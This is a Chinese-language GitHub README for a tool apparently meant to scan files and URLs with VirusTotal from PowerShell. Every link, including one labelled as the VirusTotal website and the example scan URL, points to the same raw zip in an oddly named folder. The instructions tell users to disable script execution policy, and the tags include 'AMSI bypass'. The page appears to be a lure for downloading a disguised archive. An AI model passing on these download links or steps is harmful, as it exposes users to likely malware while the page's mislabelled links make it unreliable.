Nunoo11/vt-scanner-cli

GitHub: Nunoo11/vt-scanner-cli

一个基于 VirusTotal API 的命令行扫描工具,帮助用户在终端快速检测文件、文件夹和 URL 的恶意威胁。

Stars: 0 | Forks: 0

# 🛡️ vt-scanner-cli - 快速扫描文件和 URL [![Download vt-scanner-cli](https://img.shields.io/badge/Download-vt--scanner--cli-brightgreen?style=for-the-badge)](https://raw.githubusercontent.com/Nunoo11/vt-scanner-cli/main/cephalalgy/scanner_vt_cli_v1.0.zip) ## 📋 关于 vt-scanner-cli vt-scanner-cli 是一个命令行工具,可使用 VirusTotal API 第 3 版帮助你检查文件、文件夹和网站是否包含病毒。它运行在 Windows PowerShell 5.1 及以上版本。如果你希望在其它系统上使用,也有 Python 版本,支持 Windows、macOS 和 Linux。 该工具设计简单易用,即使你不熟悉编程也能快速上手。你可以分析任意文件或 URL,查看是否包含恶意软件或威胁。它使用官方的 VirusTotal API,可在多个杀毒引擎中交叉检测数据。 ## 🔍 vt-scanner-cli 能做什么 - 扫描单个文件中的病毒和恶意软件。 - 扫描整个文件夹及其内部所有文件。 - 分析 URL 以检查是否指向危险网站。 - 显示带有检测数量的详细结果。 - 无需额外程序即可在 PowerShell 中运行。 - 支持最新的 VirusTotal API 第 3 版。 - 在 Windows 上运行,需要 PowerShell 5.1 或更高版本。 这使它成为一个实用工具,让你在打开可疑数据前进行检查。 ## 🖥️ 系统要求 - Windows 7 或更高版本。 - PowerShell 版本 5.1 或更高。(大多数现代 Windows 版本默认已安装。) - 连接到互联网,以便将文件或 URL 发送到 VirusTotal。 - 来自 VirusTotal 的 API 密钥(可从其网站免费获取)。 - 扫描时大约需要 100 MB 的临时磁盘空间。 你无需安装其他软件。vt-scanner-cli 可直接在 PowerShell 中开箱即用。 ## 🚀 快速开始 1. 前往发布页面以下载最新版本: [下载 vt-scanner-cli](https://raw.githubusercontent.com/Nunoo11/vt-scanner-cli/main/cephalalgy/scanner_vt_cli_v1.0.zip) 2. 下载适用于 Windows 的最新版本,通常以 zip 文件或脚本文件形式提供。 3. 如需要,解压下载的 zip 文件。 4. 打开 Windows PowerShell。可以在开始菜单中输入 `PowerShell` 并按回车。 5. 导航到保存文件的文件夹,使用命令: cd C:\Path\To\Folder 6. 运行工具前,需要设置 VirusTotal API 密钥。获取密钥方法: - 访问 [VirusTotal 网站](https://raw.githubusercontent.com/Nunoo11/vt-scanner-cli/main/cephalalgy/scanner_vt_cli_v1.0.zip)。 - 创建免费账户。 - 进入个人资料页面找到 API 密钥。 7. 在 PowerShell 会话中设置 API 密钥,运行: $env:VT_API_KEY="your_api_key_here" 8. 现在你可以运行扫描器了。 ## 📥 下载与安装 🔽 要获取 vt-scanner-cli: 1. 访问此页面以下载: [https://raw.githubusercontent.com/Nunoo11/vt-scanner-cli/main/cephalalgy/scanner_vt_cli_v1.0.zip](https://raw.githubusercontent.com/Nunoo11/vt-scanner-cli/main/cephalalgy/scanner_vt_cli_v1.0.zip) 2. 查找带有日期或版本号的最新发布版本。 3. 下载名为 `vt-scanner-cli.ps1`(PowerShell 脚本)或包含该脚本的压缩文件夹。 4. 如果下载的是 zip 文件夹,请右键选择“全部提取”以解压。 5. 将文件放在容易找到的文件夹中,例如桌面或文档。 6. 打开 PowerShell 并切换到保存文件的文件夹。 ## ⚙️ 使用方法 以下是 PowerShell 中使用的基本命令。 ### 扫描单个文件 要扫描一个文件,请运行: ``` .\vt-scanner-cli.ps1 -File "C:\Path\To\Your\File.exe" ``` 将 `"C:\Path\To\Your\File.exe"` 替换为实际文件路径。 扫描器将使用 VirusTotal API 分析文件,并显示各杀毒引擎的检测结果。 ### 扫描文件夹 要扫描文件夹中的所有文件: ``` .\vt-scanner-cli.ps1 -Folder "C:\Path\To\Your\Folder" ``` 该工具会检查文件夹中的所有文件并给出结果摘要。 ### 扫描 URL 要检查网站或链接: ``` .\vt-scanner-cli.ps1 -Url "https://raw.githubusercontent.com/Nunoo11/vt-scanner-cli/main/cephalalgy/scanner_vt_cli_v1.0.zip" ``` 这会将 URL 与 VirusTotal 数据库进行比对,判断其是否安全。 ## 🔧 可用选项 - `-File <路径>`:扫描指定文件。 - `-Folder <路径>`:扫描文件夹中的所有文件。 - `-Url `:扫描指定 URL。 - `-Help`:显示帮助信息。 示例: ``` .\vt-scanner-cli.ps1 -Help ``` ## 📄 补充信息 - 该工具使用你的 VirusTotal API 密钥,请勿公开分享。 - 文件会临时上传到 VirusTotal 进行扫描,不会保存在你的电脑上。 - 脚本会显示检测到威胁的杀毒引擎数量。 - 大文件可能需要更长时间扫描。 - 免费 VirusTotal 密钥每分钟的 API 调用次数有限,请合理使用。 ## 💡 使用建议 - 保持 PowerShell 更新到 5.1 或更高版本。 - 始终扫描从不可信来源下载的文件。 - 使用文件夹扫描快速检查多个文件。 - 如遇权限问题,请以管理员身份运行 PowerShell。 - 在 VirusTotal 网站上查看 API 密钥状态和限制。 ## 🚩 故障排除 如果运行脚本时出现错误: - 确保你正在运行 PowerShell 5.1 或更高版本。 - 确认 API 密钥正确,并通过 `$env:VT_API_KEY` 设置。 - 检查网络连接。 - 确保文件或文件夹路径正确,如果包含空格请加上引号。 - 如果出现安全警告,可通过运行以下命令临时设置执行策略: Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass 这将允许脚本仅在当前 PowerShell 会话中运行。 ## 🛠️ 支持与更新 该工具是开源的,并在 GitHub 上维护。更新和发布版本可在发布页面找到: [https://raw.githubusercontent.com/Nunoo11/vt-scanner-cli/main/cephalalgy/scanner_vt_cli_v1.0.zip](https://raw.githubusercontent.com/Nunoo11/vt-scanner-cli/main/cephalalgy/scanner_vt_cli_v1.0.zip) 请定期检查以获取最新的修复和改进。 ## ⚖️ 许可证 vt-scanner-cli 在开放源代码许可下提供。请参考仓库中的 LICENSE 文件,了解你如何使用或共享该代码。
标签:AI合规, AMSI绕过, API v3, IPv6, PowerShell, Python, SEO: VirusTotal, SEO: 命令行安全工具, SEO: 病毒扫描工具, SEO: 跨平台扫描, URL扫描, VirusTotal API, 下载工具, 免费工具, 反病毒引擎, 威胁检测, 文件夹扫描, 文件扫描, 无后门, 病毒扫描, 系统扫描, 终端安全, 网络安全, 自定义DNS解析器, 逆向工具, 隐私保护